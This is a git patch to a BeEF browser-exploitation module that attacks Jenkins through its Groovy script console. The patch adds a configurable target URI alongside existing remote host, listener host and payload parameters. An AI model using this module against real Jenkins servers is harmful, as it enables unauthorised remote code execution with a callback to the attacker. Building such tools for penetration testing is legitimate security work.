From 07f61ff5f06d9f5cc53e2486df3b43913b02d4bb Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 1 Sep 2015 14:02:19 +0000 Subject: [PATCH] Add 'Target URI' module option --- modules/exploits/jenkins_groovy_code_exec/command.js | 3 ++- modules/exploits/jenkins_groovy_code_exec/module.rb | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/jenkins_groovy_code_exec/command.js b/modules/exploits/jenkins_groovy_code_exec/command.js index db9f60005..dbbae9abc 100644 --- a/modules/exploits/jenkins_groovy_code_exec/command.js +++ b/modules/exploits/jenkins_groovy_code_exec/command.js @@ -8,9 +8,10 @@ beef.execute(function() { var rproto = '<%= @rproto %>'; var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; + var targeturi = '<%= @uri %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; - var target = rproto + '://' + rhost + ':' + rport + '/script'; + var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script'; var timeout = 15; var payload_name = '<%= @payload %>'; var peer = rhost + ':' + rport; diff --git a/modules/exploits/jenkins_groovy_code_exec/module.rb b/modules/exploits/jenkins_groovy_code_exec/module.rb index 40b3e7983..eee0494c8 100644 --- a/modules/exploits/jenkins_groovy_code_exec/module.rb +++ b/modules/exploits/jenkins_groovy_code_exec/module.rb @@ -12,6 +12,7 @@ class Jenkins_groovy_code_exec < BeEF::Core::Command return [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '80' }, + { 'name' => 'uri', 'ui_label' => 'Target URI', 'value' => '/jenkins/' }, { 'name' => 'rproto', 'type' => 'combobox', 'ui_label' => 'Target Protocol',